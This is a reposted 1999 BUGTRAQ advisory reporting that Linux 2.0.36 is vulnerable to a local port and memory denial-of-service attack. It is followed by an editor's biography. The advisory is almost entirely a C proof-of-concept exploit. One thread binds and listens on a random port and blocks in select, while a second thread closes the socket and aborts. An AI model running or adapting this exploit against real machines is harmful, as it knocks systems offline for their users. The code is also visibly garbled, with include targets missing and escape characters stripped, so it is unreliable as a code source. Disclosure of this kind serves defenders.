As reported on BUGTRAQ.
From: David Schwartz
Subject: Linux 2.0.36 vulnerable to local port/memory DoS attack
Date: Tue, 19 Jan 1999 11:33:19 -0800
To: BUGTRAQwebmaster.com
#include
#include
#include
#include
#include
#include
#include
#include
volatile int s;
void *Thread1(void *a)
{
int i,p;
struct sockaddr_in to;
fd_set fd;
s=socket(AF_INET, SOCK_STREAM, 0);
if(s<=0) return;
memset(&to, 0, sizeof(to));
srand(getpid());
p=(rand()%10000)+50000;
printf("port = %dn", p);
fflush(stdout);
to.sin_port=htons(p);
to.sin_addr.s_addr=0;
to.sin_family=AF_INET;
if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)
fprintf(stderr,"no bindn");
if(listen(s,10)!=0)
fprintf(stderr,"No Listenn");
i=sizeof(to);
FD_ZERO(&fd);
FD_SET(s,&fd);
select(s+1,&fd,NULL,NULL,NULL);
fprintf(stderr,"select returned!n");
}
void *Thread2(void *a)
{
close(s);
fflush(stderr);
abort();
}
void main(void)
{
pthread_t j;
pthread_create(&j,NULL,Thread1,NULL);
usleep(100);
pthread_create(&j,NULL,Thread2,NULL);
while(1) sleep(1);
}
Web Webster
Web Webster has more than 20 years of writing and editorial experience in the tech sector. He’s written and edited news, demand generation, user-focused, and thought leadership content for business software solutions, consumer tech, and Linux Today, he edits and writes for a portfolio of tech industry news and analysis websites including webopedia.com, and DatabaseJournal.com.